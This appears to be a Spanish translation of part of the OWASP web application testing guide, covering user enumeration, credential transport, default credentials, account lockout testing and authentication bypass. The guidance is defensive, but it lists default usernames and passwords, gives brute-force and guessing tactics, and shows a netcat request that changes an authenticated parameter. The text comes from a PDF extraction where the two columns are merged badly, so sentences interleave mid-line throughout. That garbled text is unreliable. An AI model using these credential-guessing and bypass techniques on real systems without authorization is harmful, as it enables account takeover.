Observando la segunda respuesta del servidor, el evaluador entiende, de
la misma manera, que no tiene un nombre de usuario válido. Así pueden
interactuar de igual forma y crear una lista de usuarios válidos mirando y
las respuestas del servidor.
404 Not found error code
Otras maneras de enumerar usuarios
Los evaluadores pueden enumerar usuarios de varias maneras, tales

como:
- Analizando el código de error recibido en las páginas de inicio de sesión
Algunas aplicaciones web liberan código de error específico o un mensaje

que podemos analizar.
Ejemplo
http://www.foo.com/account1 - we receive from web server: 403

- Analizando URL y redireccionamientos de URL
Forbidden
Por ejemplo:
http://www.foo.com/account2 - we receive from web server: 404
file Not Found

97
recibir "200 ok" con una imagen; en este caso, podemos suponer que
cuando recibimos la imagen específica el usuario no existe. Esta lógica
En el primer caso el usuario existe, pero el evaluador no puede ver la puede aplicarse a otra respuesta del servidor web; el truco es un buen
página análisis de los mensajes del servidor web y de la aplicación web.
web; en el segundo caso, en cambio, el usuario "account2" no existe. Adivinanza de usuarios

Recopilando esta información, los evaluadores pueden enumerar a los
En algunos casos, el ID de usuario se crea con políticas específicas de la
empresa o el administrador. Por ejemplo, podemos ver un usuario con un
ID de usuario creado en orden secuencial:
usuarios.
CN000100
CN000101
-Análisis de los títulos de la Página Web
….
Los evaluadores pueden recibir información útil del título de la página
web, donde pueden obtener un código de error específico o mensajes que A veces los usuarios son creados con un alias REALM y luego números
revelan si los problemas son del usuario o contraseña. secuenciales:
R1001 – user 001 for REALM1
Por ejemplo, si un usuario no puede autenticarse en una aplicación y R2001 – user 001 for REALM2
recibe una página web cuyo título es similar a:
Invalid user Para el ejemplo anterior, podemos crear secuencias de comandos de

carcaza (shell scripts) simples que componen usuarios y envían una
Invalid authentication solicitud con herramientas como wget para automatizar una consulta
web para discernir ID de usuarios válidos. Para crear una secuencia de
comandos también podemos usar Perl y Curl.
- Análisis de un mensaje recibido de una instalación de recuperación
Cuando utilizamos una instalación de recuperación (es decir, una función

de contraseña olvidada) una aplicación vulnerable puede devolver un Otras posibilidades son:
mensaje que revela si un nombre de usuario existe o no.
• ID de usuarios asociados con números de tarjetas de crédito o, en
general, números con un patrón.
Por ejemplo, un mensaje similar al siguiente: • ID de usuarios asociados con nombres reales, por ejemplo, si Freddie
Mercury tiene un ID de usuario de "fmercury", entonces usted podría
Usuario Inválido: e-mail address is not valid or the specified user was not found.
adivinar que Roger Taylor tiene el ID de usuario "rtaylor".
Usuario válido: Your password has been successfully sent to the email address you
registered with.
Una vez más, podemos intuir un nombre de usuario de la información
recibida de una consulta LDAP o de la recopilación de información de
Google, por ejemplo, de un dominio específico. Google puede ayudar a
encontrar los usuarios de un dominio a través de consultas específicas o a
través de secuencias de comandos de carcaza (shell scripts) simples o
- Mensaje de Error 404 amigable
herramientas.
Cuando solicitamos a un usuario dentro del directorio que no existe, no
siempre recibimos un código de error 404. Por el contrario, podemos

98
Atención: mediante la enumeración de cuentas de usuario, se arriesga a Asegúrese de que la aplicación devuelve mensajes de error genéricos,
bloquear las cuentas después de un número predefinido de intentos consistentes en respuesta a nombres de cuenta válidos, contraseñas u
fallidos (basado en las políticas de la aplicación). También, a veces, su otras credenciales de usuario, ingresados durante el proceso de registro.
dirección IP puede ser prohibida por reglas dinámicas en la aplicación
firewall o sistema de prevención de intrusión.
Asegúrese que las cuentas de pruebas del sistema y cuentas por defecto
se eliminen antes de lanzar el sistema a producción (o exponiéndola a
Pruebas de Caja Gris una red no confiable).
Pruebas a los mensajes de error de autenticación
Compruebe que la aplicación responde de la misma manera a cada

solicitud de un cliente que produce una autenticación fallida. Para este
problema, la prueba de Caja Negra y la de Caja Gris tienen el mismo
concepto, basado en el análisis de los mensajes o códigos de error
recibidos de la aplicación web.
Pruebe las políticas de nombre de usuario débiles o sin

Resultado esperado:
fuerza (OTG-IDENT-005)
La aplicación debe responder de la misma manera a cada intento fallido
de autenticación.
Resumen
Los nombres de usuario de cuentas están a menudo altamente

estructurados (por ejemplo, el nombre de la cuenta de Joe Bloggs es
Por ejemplo: jbloggs y el nombre de la cuenta de Fred Nurks es fnurks) y los nombres
de cuentas válidos pueden ser adivinados fácilmente.
Credentials submitted are not valid
Objetivos de la Prueba
Herramientas
Determine si una estructura de nombres de cuenta constante hace que la
• WebScarab: OWASP_WebScarab_Project aplicación sea vulnerable a la enumeración de la cuenta. Determine si los
mensajes de error de la aplicación permiten la enumeración de la cuenta.
• CURL: curl.haxx.se
• PERL: perl.org
Cómo probar
• Sun Java Access & Identity Manager users enumeration tool:
• Determine la estructura de nombres de cuentas.
aboutsecurity.net
• Evalúe la respuesta de la aplicación a nombres de cuentas válidos y no
válidos.
Referencias • Utilice diferentes respuestas a nombres de cuentas válidos y no válidos para

enumerar nombres de cuenta válidos.
• Marco Mella, Sun Java Access & Identity Manager Users enumeration:
aboutsecurity.net • Use diccionarios de nombre de cuenta para enumerar los nombres de cuenta
válidos.
• Username Enumeration Vulnerabilities: gnucitizen.org
Remediación
Remediación

99
Asegúrese que la aplicación devuelva mensajes de error genéricos

consistentes en respuesta a nombres de cuenta inválidos, contraseñas u
otras credenciales de usuario introducidas durante el proceso registro. En la actualidad, el ejemplo más común de este problema es la página de
registro en una aplicación web. El evaluador debe comprobar que las
credenciales del usuario se transmitan a través de un canal encriptado.
Para iniciar una sesión en un sitio web, el usuario generalmente tiene que
Pruebas de Autenticación llenar un formulario simple que transmite los datos insertados a la
aplicación web con el método POST. Lo que es menos evidente es que
Autenticación(Griego: αυθεντικός = verdadero o genuino, de estos datos se pueden transmitir mediante el protocolo HTTP, que
'authentes' = el autor) es el acto de establecer o confirmar algo (o alguien) transfiere los datos de
como auténtico, es decir, que las demandas hechas por o sobre la cosa son
verdaderas. Autenticar un objeto puede significar confirmar su
procedencia, mientras que la autenticación de una persona a menudo
consiste en verificar su identidad. La autenticación depende de uno o más una manera insegura, como texto transparente, o utilizando el protocolo
factores de autenticación. HTTPS, que cifra los datos durante la transmisión.
En seguridad informática, la autenticación es el proceso de intentar Para complicar más las cosas, existe la posibilidad de que el sitio tenga la
verificar la identidad digital del remitente de una comunicación. Un página de inicio accesible a través de HTTP (haciéndonos creer que la
ejemplo común de este proceso es el proceso de registro. Probar el transmisión es insegura), pero en realidad envía datos a través de HTTPS.
esquema de autenticación significa comprender cómo funciona el proceso Esta prueba se hace para asegurarse que un atacante no pueda recuperar
de autenticación y usar esa información para eludir el mecanismo de información sensible simplemente husmeando en la red con una
autenticación. herramienta de olfateo ( sniffer).
Pruebas del transporte de credenciales en un canal Cómo probar
encriptado (OTG-AUTHN-001) Pruebas de Caja Negra
Resumen En los siguientes ejemplos, usaremos WebScarab para capturar los

encabezados de los paquetes e inspeccionarlos. Puede utilizar cualquier
Probar el transporte de credenciales significa comprobar que los datos de proxy de web que usted prefiera.
autenticación del usuario se transfieren a través de un canal encriptado
para evitar ser interceptados por usuarios maliciosos. El análisis se centra
simplemente en tratar de entender si los datos viajan sin encriptar desde
el navegador web al servidor, o si la aplicación web toma las medidas de Ejemplo 1: Envío de datos con el método POST a través de HTTP
seguridad apropiadas al usar protocolos como HTTPS. El protocolo
HTTPS se construye sobre TLS/SSL para encriptar los datos que se Suponga que la página de registro presenta un formulario con los campos
transmiten y asegurar que el usuario es enviado hacia el sitio deseado. Usuario, Contraseña y el botón de Enviar para autentificar y dar acceso a
la aplicación. Si nos fijamos en las cabeceras de nuestra petición con
WebScarab, podemos conseguir algo como esto:
Claramente, el hecho de que el tráfico se encuentre cifrado no

necesariamente significa que es totalmente seguro. La seguridad depende
también del algoritmo utilizado y la robustez de las claves que la
aplicación está utilizando, pero no se abordará este tema en particular en
esta sección.
Para una discusión más detallada sobre las pruebas de seguridad de los
canales TLS/SSL, consulte el capítulo Probando SSL/TLS débiles. Aquí, el
evaluador simplemente tratará de entender si los datos que los usuarios
colocan en los formularios web para iniciar una sesión en un sitio web se
transmiten utilizando protocolos seguros que los protege de un atacante.

100
POST http://www.example.com/AuthenticationServlet HTTP/1.1 POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300 Keep-Alive: 300
Connection: keep-alive Connection: keep-alive
Referer: http://www.example.com/index.jsp Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: Cookie: language=English;

JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvV
CGdyPkmn3S! Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded Content-length: 50
Content-length: 64
delegated_service=218&User=test&Pass=test&Submit=SUBMIT Podemos ver que se envía la petición a www.example.com:443/cgi-

bin/login.cgi mediante el protocolo HTTPS. Esto garantiza que nuestras
credenciales se envían mediante un canal encriptado y que las credenciales
no son legibles por un usuario malicioso que utilice un sniffer.
En este ejemplo, el evaluador puede entender que la solicitud POST envía
los datos a la página www.example.com/AuthenticationServlet usando
HTTP. Los datos de respuesta se transmiten sin cifrado y un usuario
malintencionado puede interceptar el usuario y la contraseña simplemente Ejemplo 3: Envío de datos con el método POST a través de HTTPS en
una página accesible a través de HTTP
al olfatear la red con una herramienta como Wireshark.
Ahora, imagine una página web accesible a través de HTTP y que sólo los
datos enviados desde el formulario de autenticación se transmiten a través
Ejemplo 2: Envío de datos con el método POST a través de HTTPS de HTTPS. Esta situación ocurre, por ejemplo, cuando estamos en un portal
de una gran empresa que ofrece diferente información y servicios que están
Supongamos que nuestra aplicación web utiliza el protocolo HTTPS para disponibles públicamente, sin identificación; pero el sitio también tiene una
cifrar los datos que estamos enviando (o por lo menos para la transmisión sección privada, accesible desde la página de inicio cuando los usuarios
de datos confidenciales, como credenciales). En este caso, cuando se inicia la inician una sesión; por lo que, al intentar iniciar la sesión, el encabezado de
aplicación web, el encabezado de la solicitud POST sería similar al siguiente: la solicitud se verá como el siguiente ejemplo:

101
POST https://www.example.com:443/login.do HTTP/1.1 GET https://www.example.com/success.html?user=test&pass=test

HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Keep-Alive: 300
Referer: http://www.example.com/homepage.do
Referer: https://www.example.com/form.html
Cookie:
SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
6pLhjkW6F
If-None-Match: “43a01-5b-4868915f”
Content-Type: application/x-www-form-urlencoded
Content-length: 45
User=test&Pass=test&portal=ExamplePortal
Se puede ver que los datos se transfieren en texto claro en la URL y no en

Podemos ver que nuestra petición se dirige a el cuerpo de la petición como antes. Pero debemos considerar que
www.example.com:443/login.do usando HTTPS. Pero si echamos un SSL/TLS es un protocolo de nivel 5, un nivel inferior al HTTP, por lo que
vistazo al encabezado Referer (la página desde la que ingresamos), es el paquete entero de HTTP todavía está encriptado haciendo imposible la
www.example.com/homepage.do y es accesible a través de un HTTP lectura de la URL para un usuario malintencionado que utiliza un sniffer.
simple. Aunque estamos enviando datos a través de HTTPS, esta Sin embargo, como se dijo antes, no es una buena práctica utilizar el
implementación puede permitir ataques SSLStrip (un tipo de ataque de método GET para enviar datos a una aplicación web, ya que la
Hombre en Medio). información contenida en la URL se puede almacenar en muchos lugares
tales como registros de proxys y servidores web.
Ejemplo 4: Envío de datos con el método GET a través de HTTPS

Prueba Caja Gris
En este último ejemplo, supongamos que la aplicación transfiere datos
mediante el método GET. Este método nunca se debe utilizar en un Hable con los desarrolladores de la aplicación web y trate de entender si
formulario que transmite datos sensibles como nombre de usuario y son conscientes de las diferencias entre los protocolos HTTP y HTTPS y
contraseña, porque los datos se muestran en texto claro en la URL y esto por qué deben usar HTTPS para la transmisión de información sensible.
provoca todo un conjunto de temas de seguridad. Por ejemplo, la URL que Luego, revise con ellos si se utiliza HTTPS en cada petición sensible, como
se solicita se encuentra fácilmente disponible en los registros del servidor o las de registro en páginas, para evitar que usuarios no autorizados
en el historial del navegador, lo que hace que sus datos sensibles puedan ser intercepten los datos.
recuperados por personas no autorizadas. Este ejemplo es puramente
demostrativo, pero, en realidad, se recomienda enfáticamente utilizar mejor
el método POST.
Herramientas

102
• WebScarab • Aplicaciones con cuentas predeterminadas fijas incorporadas con un

usuario y contraseña predefinido.
• OWASP Zed Attack Proxy (ZAP)
• Aplicaciones que no obligan al usuario a cambiar las credenciales por
defecto después de la primera sesión.
Referencias
Libros Blancos
• HTTP/1.1: Security Considerations - w3.org Cómo probar
• SSL is not about encryption Pruebas de las credenciales por defecto de aplicaciones comunes
En la prueba de Caja Negra, el evaluador no sabe nada acerca de la

aplicación y su infraestructura subyacente. En realidad, esto no suele ser
Pruebas de las credenciales por defecto cierto, y se conoce alguna información acerca de la aplicación.
Supongamos que usted ha identificado, mediante el uso de las técnicas
(OTG-AUTHN-002) descritas en esta guía de pruebas bajo el capítulo de recolección de
información, por lo menos una o más aplicaciones comunes que pueden
Resumen contener interfaces administrativas accesibles.
En la actualidad, las aplicaciones web a menudo hacen uso de software

popular de código abierto o comercial que puede ser instalado en
servidores con configuración mínima o personalización para requisitos Cuando usted ha identificado una interfaz de aplicación, por ejemplo, una
particulares del administrador del servidor. Por otra parte, muchos interfaz del router de web Cisco o un portal administrador Weblogic,
dispositivos de hardware (routers de red y servidores de base de datos) compruebe que los nombres de usuario y contraseñas conocidos para
ofrecen configuración basada en web o interfaces administrativas. estos dispositivos no resulten en una autenticación exitosa. Para ello
puede consultar la documentación del fabricante o, de una manera mucho
más simple, usted puede encontrar credenciales comunes mediante la
búsqueda de un motor o utilizando uno de los sitios o herramientas
A menudo estas aplicaciones, una vez instaladas, no están configuradas enumeradas en la sección de referencia.
correctamente y las credenciales predeterminadas proporcionadas para
la autenticación inicial y configuración nunca son cambiadas. Estas
credenciales predeterminadas son bien conocidas por los evaluadores de
penetración y, por desgracia, también por atacantes maliciosos que Cuando se enfrente a aplicaciones donde no tiene una lista de cuentas de
pueden utilizarlas para tener acceso a varios tipos de aplicaciones. usuario común o por defecto (por ejemplo debido a que la aplicación no
es
Además, en muchas situaciones, cuando se crea una nueva cuenta en una
aplicación, una contraseña por defecto (con algunas características
estándar) se genera. Si esta contraseña es predecible y el usuario no la
cambia en el primer acceso, esto puede llevar a un atacante a obtener conocida), podemos intentar adivinar las credenciales válidas por
acceso no autorizado a la aplicación. defecto. Note que la aplicación probada puede tener una política de
bloqueo de cuentas habilitada y múltiples intentos de adivinar la
contraseña con un nombre de usuario conocido, lo que puede causar que
la cuenta se bloquee. Si es posible bloquear la cuenta del administrador,
La causa principal de este problema puede ser identificada como: puede ser problemático para el administrador del sistema restablecerla.
• Personal técnico sin experiencia que no es consciente de la importancia de Muchas aplicaciones tienen mensajes de error detallados que informan a
cambiar las contraseñas por defecto en componentes de la infraestructura los usuarios sobre la validez de nombres de usuario introducidos. Esta
instalada o dejar la contraseña por defecto para "facilidad de información será útil cuando se busquen cuentas de usuario por defecto
mantenimiento". o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las
páginas de registro, restablecimiento de contraseña, contraseña olvidada
• Programadores que dejan puertas traseras para tener fácil acceso y probar y de inscripción. Una vez que ha encontrado un nombre de usuario por
su aplicación y después olvidan eliminarlas. defecto, también podría empezar a adivinar contraseñas para esta cuenta.

103
• Busque nombres de cuentas y contraseñas en los comentarios del código

fuente. También busque en directorios de respaldo el código fuente (o copias
Puede encontrar más información acerca de este procedimiento en la de seguridad del código fuente) que pueden contener comentarios y códigos
sección Probando la enumeración de usuarios y cuentas de usuario interesantes.
predecibles y en la sección de Probando políticas de contraseñas débiles.
Prueba de las contraseñas por defecto en cuentas nuevas

Puesto que estos tipos de credenciales predeterminadas están limitados a
menudo a cuentas administrativas, puede proceder de la siguiente Cuando se crea una cuenta nueva en una aplicación, también puede
manera: ocurrir que a la cuenta se le asigne una contraseña por defecto. Esta
contraseña podría tener algunas características estándar, lo que la hace
predecible.
• Intente usar los siguientes nombres de usuario - “admin”, “administrator”,

“root”, “system”, “guest”, “operator”, o “super”. Éstos son populares entre los
administradores de sistemas y son de uso frecuente. Además, podría tratar Si el usuario no la cambia en el primer uso (esto sucede a menudo si el
“qa”, “test”, “test1”, “testing” y nombres similares. Pruebe cualquier usuario no está obligado a cambiarlo), o si el usuario todavía no ha
combinación de los anteriores en el nombre de usuario y los campos de iniciado una sesión en la aplicación, esto puede llevar a un atacante a
contraseña. Si la aplicación es vulnerable a la enumeración de nombres de obtener acceso no autorizado a la aplicación.
usuario y logra identificar con éxito cualquiera de los nombres de usuario
anteriores, intente las contraseñas de una manera similar. Además, intente con
una contraseña vacía o una de los siguientes “password”, “pass123”,
“password123”, “admin”, o “guest” con las cuentas anteriores o cualquier otra El asesoramiento previo sobre una posible política de bloqueo y mensajes
cuenta enumerada. También puede intentar más permutaciones de las de error detallados también son aplicables aquí, cuando se evalúan las
anteriores. Si estas contraseñas fallan, valdría la pena intentar usar una lista contraseñas por defecto.
común de nombres de usuario y contraseñas y realizar varias peticiones contra
la aplicación. Esto puede, sin duda, ser secuenciado para ahorrar tiempo.
• Los usuarios administradores de una aplicación se nombran a menudo con el Los siguientes pasos pueden aplicarse para probar estos tipos de
nombre de la aplicación u organización. Esto significa que si está probando credenciales predeterminadas:
una aplicación denominada "Oscuridad", intente usar oscuridad/oscuridad o
cualquier otra combinación similar como el nombre de usuario y contraseña. •
Cuando se realiza una prueba para un cliente, inténtelo usando los nombres de
contactos que reciban como nombres de usuario con contraseñas comunes. • Mirar en la página de registro de usuarios puede ayudar a determinar el
Las direcciones de correo electrónico de clientes revelan el acuerdo de formato esperado y la longitud mínima o máxima de nombres y contraseñas
nombres para cuentas del usuario: si el empleado John Doe tiene la dirección de la aplicación. Si no existe una página de registro de usuarios, determine si
de correo electrónico jdoe@example.com, puede tratar de encontrar los la organización utiliza un acuerdo de nomenclatura estándar para los nombres
nombres de los administradores de sistemas en las redes sociales y adivinar su de usuario como su dirección de correo electrónico o el nombre antes de la
nombre de usuario mediante la aplicación de la misma convención a su "@" en el correo electrónico.
nombre.
• Trate de extrapolar, a partir de la aplicación, cómo se generan los nombres
de usuario. Por ejemplo, ¿un usuario puede escoger su propio nombre de
usuario o el sistema genera un nombre de cuenta para el usuario basado en
• Trate de usar todos los nombres de usuario anteriores con contraseñas en alguna información personal o usando una secuencia predecible? Si la
blanco. aplicación genera los nombres de cuenta en una secuencia predecible, como
user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede
• Revise la fuente de la página y JavaScript, ya sea a través de un proxy o identificar una respuesta diferente de la aplicación cuando se utiliza un
mediante la visualización de la fuente. Busque cualquier referencia a los nombre de usuario válido y una contraseña incorrecta, entonces puede intentar
usuarios y contraseñas en la fuente. Por ejemplo “If username=’admin’ then un ataque forzoso con el nombre de usuario válido (o rápidamente probar
starturl=/admin.asp else /index.asp”. (para un registro exitoso versus un cualquiera de las contraseñas comunes identificadas antes en la sección de
registro fallido).También, si usted tiene una cuenta válida, entonces registre y referencia).
revise cada solicitud y respuesta para un registro válido versus un registro no
válido, como parámetros adicionales ocultos, peticiones GET interesantes
(login = yes), etc.
• Trate de determinar si la contraseña generada por el sistema es predecible.
Para ello, cree rápidamente muchas cuentas nuevas, una tras otra, para que
pueda comparar y determinar si las contraseñas son predecibles. Si son
104
previsibles, intente correlacionar estas con los nombres de usuario o las

cuentas enumeradas y utilizarlas como base para un ataque forzado.
Referencias
• Si usted ha identificado el acuerdo de nomenclatura correcta para el nombre
de usuario, trate de "forzar" contraseñas con alguna secuencia predecible Libros Blancos
común, por ejemplo, las fechas de nacimiento.
• CIRT: cirt.net
• Trate de usar todos los nombres de usuario anteriores con contraseñas en
blanco, o utilice también el nombre de usuario como valor de la contraseña. • Government Security - Default Logins and Passwords for Networked
Devices: governmentsecurity.org
• Virus.org: virus.org
Prueba de Caja Gris
Los siguientes pasos se basan completamente en un enfoque de Caja Gris.

Si sólo dispone de una parte de esta información, consulte las pruebas de
Caja Negra para rellenar los espacios.
Pruebas para determinar un mecanismo de

bloqueo débil (OTG-AUTHN-003)
• Hable con el personal de IT para determinar qué contraseñas utilizan para el
acceso administrativo y cómo se lleva a cabo la administración de la Resumen
aplicación.
Los mecanismos de bloqueo se utilizan para mitigar los ataques de fuerza
bruta o adivinanza de contraseñas. Las cuentas se bloquean normalmente
después de tres a cinco intentos de inicio de sesión sin éxito y solo
• Pregunte al personal de IT si se cambian las contraseñas por defecto y si las
pueden ser desbloqueadas después de un periodo determinado de
cuentas de usuario por defecto están deshabilitadas.
tiempo, a través de la intervención de un administrador. Los mecanismos
de bloqueo de cuenta requieren un equilibrio entre la protección de
• Examine la base de datos del usuario en busca de credenciales
cuentas de acceso no autorizado y proteger a los usuarios de una negativa
predeterminadas como se describe en la sección de pruebas de Caja Negra.
al acceso autorizado.
También busque campos de contraseña vacíos.
• Examine el encriptado de código duro para nombres de usuario y

contraseñas.
Tome en cuenta que esta prueba debe cubrir todos los aspectos de
• Verifique los archivos de configuración que pueden contener nombres de autenticación donde los mecanismos de bloqueo serían apropiados, por
usuario y contraseñas. ejemplo, cuando al usuario se le presentan preguntas de seguridad en
mecanismos de contraseña olvidada (ver Pruebas para determinar la
• Examine la política de contraseñas y, si la aplicación genera sus propias seguridad débil de pregunta/respuesta (OTG-AUTHN-008)).
contraseñas para los usuarios nuevos, revise la política en el uso de este
procedimiento.
Sin un mecanismo de bloqueo fuerte, la aplicación puede ser susceptible a

ataques de fuerza bruta. Después de un ataque de fuerza bruta exitoso,
un usuario malintencionado podría tener acceso a:
Herramientas
• Información o datos confidenciales: Las secciones privadas de una
• Burp Intruder: portswigger.net aplicación web podrían revelar documentos confidenciales, datos de
perfil de los usuarios, información financiera, datos bancarios, relaciones
• THC Hydra: thc.org de los usuarios, etc..
• Brutus: hoobie.net
• Nikto 2: cirt.net • Los paneles de administración: Estas secciones son utilizadas por los
webmasters para gestionar (modificar, borrar, añadir) el contenido de

105
aplicaciones web, gestión de creación de usuarios, asignar diferentes [6] Inicie la sesión con la contraseña correcta. La aplicación devuelve "su
privilegios a los usuarios, etc. cuenta está bloqueada.", confirmando así que la cuenta se bloquea
después de cinco intentos de autenticación incorrecta.
[7] Intente entrar con la contraseña correcta cinco minutos más tarde. La
• Oportunidades para nuevos ataques: Las secciones de una aplicación aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el
web autenticadas pueden contener vulnerabilidades que no están mecanismo de bloqueo no se desbloquea automáticamente después de
cinco minutos.
[8] Intente entrar con la contraseña correcta diez minutos más tarde. La
presentes en la sección pública de la aplicación web y pueden contener aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el
funcionalidades avanzadas que no están disponibles para los usuarios mecanismo de bloqueo no se desbloquea automáticamente después de
públicos. diez minutos.
[9] Inicie éxitosamente la sesión con la contraseña correcta quince

minutos más tarde, lo que demuestra que el mecanismo de bloqueo se
Objetivos de la prueba desbloquea automáticamente después de un período de diez a quince
minutos.
• Evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar
el ingreso forzado adivinando contraseñas.
• Evaluar la resistencia del mecanismo de liberación para abrir sin Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede
autorización la cuenta. venir con su propio conjunto de debilidades (ver Probando el CAPTCHA)
y no debe reemplazar a un mecanismo de bloqueo.
Cómo probar
Para evaluar la resistencia del mecanismo de liberación para desbloquear
Por lo general, para probar la fuerza de los mecanismos de bloqueo, se la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.
necesitará acceso a una cuenta a la que usted esté dispuesto o pueda
darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar
una sesión en la aplicación web, realice esta prueba al final del plan de
pruebas para evitar que usted no pueda continuar su prueba debido a una Los mecanismos tipicos de desbloqueo pueden involucrar preguntas
cuenta bloqueada. secretas o un link de desbloqueo por correo electrónico.El enlace de
desbloqueo deberá ser un enlace único de un solo uso, para evitar que un
atacante adivine o reproduzca el enlace y realice ataques forzosos en
lotes. Las preguntas y respuestas secretas deben ser fuertes (ver
Para evaluar la capacidad del mecanismo de bloqueo de cuentas para Probando pregunta/respuesta de seguridad débil).
mitigar el forzado o adivinanza de contraseñas, intente realizar un
registro inválido mediante el uso de la contraseña incorrecta varias veces,
antes de utilizar la contraseña correcta para verificar que la cuenta fue
bloqueada. El siguiente es un ejemplo de la prueba:
Note que un mecanismo de desbloqueo debe ser utilizado para

desbloqueo de cuentas. No es lo mismo que un mecanismo de
[1] Intente iniciar la sesión con una contraseña incorrecta tres veces. recuperación de contraseña.
[2] Inicie la sesión con la contraseña correcta, lo que demuestra que no se

activa el mecanismo de bloqueo después de tres intentos de
autenticación incorrecta. Los factores a considerar cuando se implementa un mecanismo de
bloqueo de cuenta son los siguientes:
[3] Intente iniciar la sesión con una contraseña incorrecta cuatro veces.
[4] Inicie la sesión con la contraseña correcta, lo que demuestra que no se

activa el mecanismo de bloqueo después de cuatro intentos de [1] ¿Cuál es el riesgo de forzado o adivinanza de contraseñas en la aplicación?
autenticación incorrecta.
[2] ¿Basta un CAPTCHA para mitigar este riesgo?
[5] Intente iniciar la sesión con una contraseña incorrecta cinco veces.
106
[3] El número de intentos de registro fallidos antes del bloqueo. Si el umbral

de bloqueo es bajo, entonces los usuarios válidos pueden ser bloqueados a
menudo. Si el umbral de bloqueo es alto, entonces el atacante tiene más
intentos para forzar la cuenta antes de que se bloquee. Dependiendo del
propósito de la aplicación, una rango entre cinco a diez intentos sin éxito es
un umbral de bloqueo típico.
[4] ¿Cómo se desbloquean las cuentas? Pruebas para eludir el esquema de

• Manualmente, por un administrador: este es el método más seguro de autenticación (OTG-AUTHN-004)
desbloqueo, pero puede causar molestias a los usuarios y tomar tiempo
"valioso" del administrador. Resumen
- Observe que el administrador también debe tener un método de recuperación Mientras que la mayoría de las aplicaciones requieren autenticación para
en caso de que su cuenta sea bloqueada. tener acceso a información privada o para ejecutar las tareas, no todos los
métodos de autenticación son capaces de proporcionar una seguridad
- El mecanismo de desbloqueo puede conducir a un ataque de negación de adecuada. La negligencia, ignorancia o una simple subvaloración de las
servicio si el objetivo de un atacante es bloquear las cuentas de los usuarios de amenazas de seguridad, a menudo resultan en esquemas de autenticación
la aplicación web.
que pueden evitarse simplemente obviando el registro en la página y
llamando directamente a una página interna que se supone debe
• Después de un período de tiempo: ¿Cuál es la duración del bloqueo? ¿Es
accederse sólo después de que se realizó la autenticación.
suficiente para que la aplicación esté protegida? Por ejemplo, una duración del
bloqueo de cinco a treinta minutos puede ser un buen acuerdo entre mitigar
los ataques de fuerza bruta y molestar a los usuarios válidos.
Además, a menudo es posible sortear las medidas de autenticación
• A través de un mecanismo de autoservicio: Como se dijo antes, este
alterando las solicitudes y engañando a la aplicación a pesar deque el
mecanismo de autoservicio debe ser lo suficientemente seguro para evitar que
usuario ya está autenticado. Esto se puede lograr modificando el
el atacante pueda abrir cuentas por sí mismo.
parámetro de URL determinado, mediante la manipulación de la forma o
por falsificación de las sesiones.
Referencias
Vea el articulo de OWASP Sobre Ataques Forzosos. Los problemas relacionados con el esquema de autenticación pueden
encontrarse en diferentes etapas del ciclo de vida de desarrollo de
software (SDLC), como las fases de diseño, desarrollo e implementación:
Remediación
Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de • En los errores de la fase de diseño, se puede incluir una definición
riesgo. En orden de menor a mayor seguridad: equivocada de las secciones de la aplicación a proteger, la opción de no
aplicar protocolos de encriptación fuertes para asegurar la transmisión
de las credenciales y muchos más.
• En los errores de la fase de desarrollo, se puede incluir la aplicación

incorrecta de la funcionalidad de validación de entrada o sin seguir las
[1] Bloqueo y desbloqueo temporizado. mejores prácticas de seguridad para el idioma específico.
[2] Desbloqueo con autoservicio (desbloqueo que envía un correo electrónico a la • En la fase de implementación de la aplicación, puede haber problemas
dirección de correo electrónico registrada). durante la instalación de la aplicación (actividades de instalación y
configuración) debido a la falta de habilidades técnicas requeridas o por
[3] Desbloqueo manual por un administrador. falta de una buena documentación.
[4] Desbloqueo manual por un administrador con identificación de usuario

positiva.
Cómo probar

107
Hay varios métodos para eludir el esquema de autenticación que es usado

http://www.site.com/page.asp?authenticated=no
por una aplicación web:
• Solicitud de página directa (navegación forzada)
• Modificación de parámetros
raven@blackbox /home $nc www.site.com 80

• Predicción de sesión ID
GET /page.asp?authenticated=yes HTTP/1.0

• Inyección de SQL
HTTP/1.1 200 OK
Solicitud de página directa
Date: Sat, 11 Nov 2006 10:22:44 GMT
Si una aplicación web implementa el control de acceso sólo en el registro
en la página, el esquema de autenticación se podría eludir. Por ejemplo, si
Server: Apache
un usuario solicita directamente una página diferente a través de la
navegación forzada, esa página puede no comprobar las credenciales del Connection: close
usuario antes de conceder el acceso. Intente acceder directamente a una
